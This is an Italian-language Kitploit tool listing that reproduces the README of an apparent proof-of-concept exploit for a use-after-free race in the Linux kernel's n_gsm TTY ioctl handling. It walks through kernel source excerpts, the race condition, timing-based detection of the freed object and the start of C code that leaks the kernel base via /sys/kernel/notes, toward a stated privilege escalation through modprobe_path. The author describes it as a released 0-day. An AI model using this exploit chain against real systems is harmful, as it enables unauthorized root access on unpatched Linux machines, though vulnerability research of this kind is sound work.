Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
n_gsm_exploit — PoC di exploit use-after-free per ioctl TTY n_gsm del kernel Linux: analisi della race condition, leak della base del kernel, heap spray, hijack di RIP, scrittura arbitraria ed escalation dei privilegi tramite modprobe_path. | Kitploit
Strumenti/GitHubGitHub/gmh5225/n_gsm_exploit
Escalation di PrivilegiMemory ForensicsAnalisi delle VulnerabilitàExploitBinary Exploitation
GitHubgmh5225/n_gsm_exploit

n_gsm_exploit

PoC di exploit use-after-free per ioctl TTY n_gsm del kernel Linux: analisi della race condition, leak della base del kernel, heap spray, hijack di RIP, scrittura arbitraria ed escalation dei privilegi tramite modprobe_path.

Vedi Repository
12 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sembra che questa sia ancora una 0-day. Non avevo intenzione di pubblicare questo exploit prima che la vulnerabilità fosse corretta, ma un exploit 0-day è stato pubblicato da un altro ricercatore che ha trovato la stessa vulnerabilità, quindi ho pubblicato anche il mio codice. Si prega di utilizzarlo solo per scopi di ricerca.

RCA

  • Il TTY del kernel Linux supporta il protocollo di multiplexing GSM 07.10.
    • https://docs.kernel.org/driver-api/tty/n_gsm.html
    • https://github.com/torvalds/linux/blob/master/drivers/tty/n_gsm.c
  • Quando viene richiesta un'ioctl per GSM, nel kernel vengono eseguite le seguenti funzioni:

[1] GSMIOC_SETCONF: Reimposta la configurazione di GSM.

[2] GSMIOC_GETCONF_DLCI: Recupera la configurazione DLCI associata a GSM.

[3] GSMIOC_SETCONF_DLCI: Modifica la configurazione DLCI associata a GSM.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF:
		if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
			return -EFAULT;
		return gsm_config(gsm, &c);//[1]
....
	case GSMIOC_GETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		gsm_dlci_copy_config_values(dlci, &dc);//[2]
		if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
	default:
		return n_tty_ioctl_helper(tty, cmd, arg);
	}
}
  • Esaminiamo prima GSMIOC_SETCONF, che modifica la configurazione di GSM.

  • [1] Se la configurazione corrente di GSM differisce dalla nuova configurazione, need_restart viene impostato a true.

    [2] Se need_restart è true, il GSM corrente viene terminato tramite gsm_cleanup_mux.

static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
	int need_close = 0;
	int need_restart = 0;

...
	if (c->mtu != gsm->mtu)//[1]
		need_restart = 1;

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration. On the first time there is no DLCI[0]
	 * and closing or cleaning up is not necessary.
	 */
	if (need_close || need_restart)
		gsm_cleanup_mux(gsm, true);//[2]

...
	return 0;
}

[1] Tutti i DLCI posseduti da GSM vengono rilasciati tramite gsm_dlci_release.

static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
	int i;
	struct gsm_dlci *dlci;
	struct gsm_msg *txq, *ntxq;

	gsm->dead = true;
	mutex_lock(&gsm->mutex);

...
	for (i = NUM_DLCI - 1; i >= 0; i--)
		if (gsm->dlci[i]){
			gsm_dlci_release(gsm->dlci[i]);//[1]
		}

...
}
  • Successivamente, le funzioni vengono chiamate nel seguente ordine:

    • gsm_dlci_release → dlci_put → gsm_dlci_free

    [1] NULL viene assegnato a gsm->dlci[addr] per prevenire Use-After-Free (UAF).

    [2] Successivamente, gsm->dlci[addr] viene liberato tramite kfree.

static void gsm_dlci_free(struct tty_port *port)
{
	struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);

	timer_shutdown_sync(&dlci->t1);
	dlci->gsm->dlci[dlci->addr] = NULL;//[1]
	kfifo_free(&dlci->fifo);
	while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
		dev_kfree_skb(dlci->skb);
	kfree(dlci);//[2]

}

GSMIOC_SETCONF_DLCI

  • Esaminiamo GSMIOC_SETCONF_DLCI, che modifica i valori di configurazione di un DLCI posseduto da GSM.

  • [1] Legge la configurazione del DLCI, inclusa l'indirizzo (addr), dall'utente.

    [2] Fa riferimento a gsm->dlci[addr].

    [3] Chiama gsm_dlci_config per modificare la configurazione del DLCI.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];//[2]
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}

[1] Imposta need_open su true in base alle opzioni passate dall'utente.

[2] Attende finché dlci->state diventa DLCI_CLOSED.

[3] Se solo gsm->initiator è true, viene chiamata la funzione gsm_dlci_begin_open per riavviare il DLCI.

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
	struct gsm_mux *gsm;
	bool need_restart = false;
	bool need_open = false;
	unsigned int i;

...
	if (dc->flags & GSM_FL_RESTART)
		need_restart = true;

	if ((open && gsm->wait_config) || need_restart)//[1]
		need_open = true;
	if (dlci->state == DLCI_WAITING_CONFIG) {
		need_restart = false;
		need_open = true;
	}

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
		if (signal_pending(current))
			return -EINTR;
	}
...
	if (need_open) {
		if (gsm->initiator)
			gsm_dlci_begin_open(dlci);//[3]
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;
}

vulnerabilità

[1] Accede a gsm->dlci senza un lock.

[1] gsm_dlci_config accede a dlci. Se gsm_cleanup_mux è stato chiamato a causa di GSMIOC_SETCONF, una race condition può portare a Use-After-Free (UAF).

  • In circostanze normali, la condizione viene soddisfatta in un tempo molto breve e viene chiamata wakeup.
  • Se si verifica un UAF, a meno che non venga richiesta un'IOCTL diversa dal livello utente per chiamare la routine wakeup, si entra in un'attesa infinita.
  • Pertanto, un attaccante può determinare se è stato attivato un UAF misurando la durata fino al completamento dell'IOCTL.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
		if (signal_pending(current))
			return -EINTR;
		}
	...
  • Durante l'attesa in wait_event_interruptible, GSM viene riavviato da threadFunction2.
    • Il DLCI referenziato da GSM viene liberato con kfree, e anche il DLCI referenziato da wait_event_interruptible viene liberato con kfree.
    • In tale scenario, poiché l'IOCTL impiega molto tempo per completare, è facile rilevare dallo spazio utente che si è verificato un Use-After-Free (UAF).

Divulgazione della base del kernel

  • L'indirizzo di hypercall_page del kernel è scritto in /sys/kernel/notes, che è leggibile dagli utenti normali. Pertanto, un attaccante può leggere questo file per divulgare la base del kernel.
unsigned long get_kernel_base(){
    const char *filePath = "/sys/kernel/notes";
    const char pattern[] = "Xen\\x00";
    FILE *file;
    uint8_t buffer[1024];
    size_t bytesRead;
    int found = 0;
Scarica lo strumento